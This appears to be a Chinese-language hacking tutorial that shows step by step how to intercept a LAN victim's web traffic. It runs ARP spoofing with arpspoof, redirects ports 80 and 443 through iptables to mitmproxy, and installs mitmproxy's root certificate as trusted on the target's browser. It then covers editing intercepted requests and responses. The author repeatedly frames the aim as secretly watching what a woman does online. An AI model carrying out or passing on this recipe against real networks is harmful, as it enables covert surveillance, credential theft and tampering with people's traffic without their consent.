这里提供每一步详细操作,由Hui3c编写,
通过本次的学习,你可以知道或学习到:
windows 在命令提示符输入:
C:\Users\233>ipconfig
root@hui:~# ifconfig
#kali ip 192.168.0.128 使用网卡0
#win7 ip 192.168.0.103
root@hui:~# route -n
# Kernel IP routing table
# Destination Gateway Genmask Flags Metric Ref Use Iface
# 0.0.0.0 192.168.0.1 0.0.0.0 UG 100 0 0 eth0
# 192.168.0.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
可以看见,网关为192.168.0.1
2. 使用kali进行arp欺骗
格式为:
arpspoof -i 网卡 -t 网关 -r 目标ip
root@hui:~# arpspoof -i eth0 -t 192.168.0.1 -r 192.168.0.103
# 将防火墙重新配置
root@hui:~# iptables -t nat -F
# 80端口转至8080端口监听
root@hui:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
# 443端口转至8080端口监听
root@hui:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
开启流量转发(不然访问不了网页):
# 开启流量转发
root@hui:~# echo 1 > /proc/sys/net/ipv4/ip_forward
# 启动mitmproxy,保存日志到mitmproxy.log
root@hui:~# mitmproxy -T --host -w mitmproxy.log
此时,使用win7打开浏览器:
成功的对目标进行ssl欺骗
再看看kali的终端:
已经完成对目标的ssl欺骗。
ssl欺骗怎么能满足我们的需求呢,肯定得干点什么事情对吧
接下来就进入重头戏了,开始我们学习之旅。能够偷偷看看妹子在干什么
使用浏览器访问 mitm.it
在谷歌浏览器中进入设置
输入chrome://settings/
1.找到最下面的高级选项,点击进去:
2.找到“管理证书”,点击
3.点击“导入”
4.下一步
5.选择**个人信息交换(.*p12)**这个文件类型,选择刚刚下载好的证书,继续下一步
6.直接下一步,密码不用输入
7.选择“受信任的根证书颁发机构”
8.完成操作,选择“是”
9.重启浏览器,访问随便一个网站,发现已经可以访问。
10.完成监听!我们在kali这边也能看见访问的记录了!就可以看看小姐姐在干什么
# 如果有基础的可以直接略过本大章
1.整理了一些常用的快捷键:
键位 | 功能 |
---|---|
C | 清空控制台 |
tab | 请求/响应内容切换 |
q | 返回上一个页面 |
Q | 退出mitmproxy |
m | 调整响应结果显示的格式,如json等 |
e | 编辑请求,响应 |
a | 允许通过当前选定的请求 |
A | 允许通过当前所有的请求 |
G | 查看最新一条请求 |
r | 重新发送当前选定的请求 |
i | 拦截模式编辑 |
2.基本的拦截命令
在控制台输入“i”,然后输入"~q"表示拦截所有请求
3.刷新win7浏览器,发现kali所有被拦截的请求都变成了红色
这时我们可以使用大写的G键查看最新的请求,你可以用小键盘上的上下左右键进行拦截选择,回车进入详细页面,按小写的a表示允许通过当前选定的拦截,所写的A表示允许通过当前s有的拦截请求,(即全部红色的字)
简单的介绍几个常用的拦截方法:
拦截命令 | 作用 |
---|---|
~q | 拦截所有的请求 |
~c 403 | 拦截指定的状态,如403状态 |
~m POST | 拦截所有指定的请求,如POST请求 |
常用的就这几个,或者可以直接在i里输入指定的url连接进行拦截,只要访问相关的页面,就会进行拦截
这时候我们就可以选中这条经过你精挑细选的结果按回车进去编辑
我们已经可以看见,已经将拦截到的请求自动变成json格式,你也可以按m键,然后查看其对应的选择,按高亮的蓝色字,就可以切换显示的样子。
如果要编辑内容的话,输入小写的e并按r选择raw body
打开后的基本用法,和vim的基本用法一样,详细的话去找vim相关的教程(本篇不讲)
再按一下小写的q键返回上一级
发送请求(选中当前被拦截的请求,输入小写a)
按键 | 作用 |
---|---|
e | 对当前页面的返回响应进行编辑 |
m | 选择返回格式的显示 ,如显示为json格式 |
当我们发现我们刚刚发送的数据包请求允许通过后,服务器马上返回来一条记录,与发送数据包不同的是,服务器返回的拦截拥有状态
我们点击回车进行编辑,在request页面查看刚刚我们已经串改的数据包
按下tab键切换到response,即服务器响应页面,按e键进行编辑,你也可以按m键选择要显示的格式,这里我选择了“仅内容字符串”
在按e键后,继续选择raw body进行编辑返回结果
输入:wq结束编辑
选中当前返回来的数据,按a键,允许通过。
喜悦的截图效果:
未修改前的“用户名或密码错误”
修改后的:
那么,这里只是简单的介绍了mitmproxy的简单的一些操作,还有修改伪造cookie,对头部劫持的,可能会在后面的课程中讲到 看我心情啦
通过这次的学习,我们能够基本掌握mitmproxy的一些拦截和劫包的操作,同时,这个强大的工具不仅仅是有这些功能的,我教大家入门,大家也可以去到mitmproxy的官网
https://docs.mitmproxy.org/stable/
进行学习,虽然是英文我看不懂
可能后续还会出更多kali的课程,请关注我哦,亲们。
由Hui3c编写发布,有错字请指出!
指令 | 作用 |
---|---|
~b regex | 消息内容body |
~bq regex | 请求内容的body |
~bs regex | 返回内容的body |
~d regex | 指定的域名 |
~c int | HTTP状态码 |
~hq regex | 请求header |
~hs regex | 返回header |
~u regex | 指定的url |
! | 非 |
& | 并 |
¦(这个符号打不出来) | 或 |
() | 一组表达式 |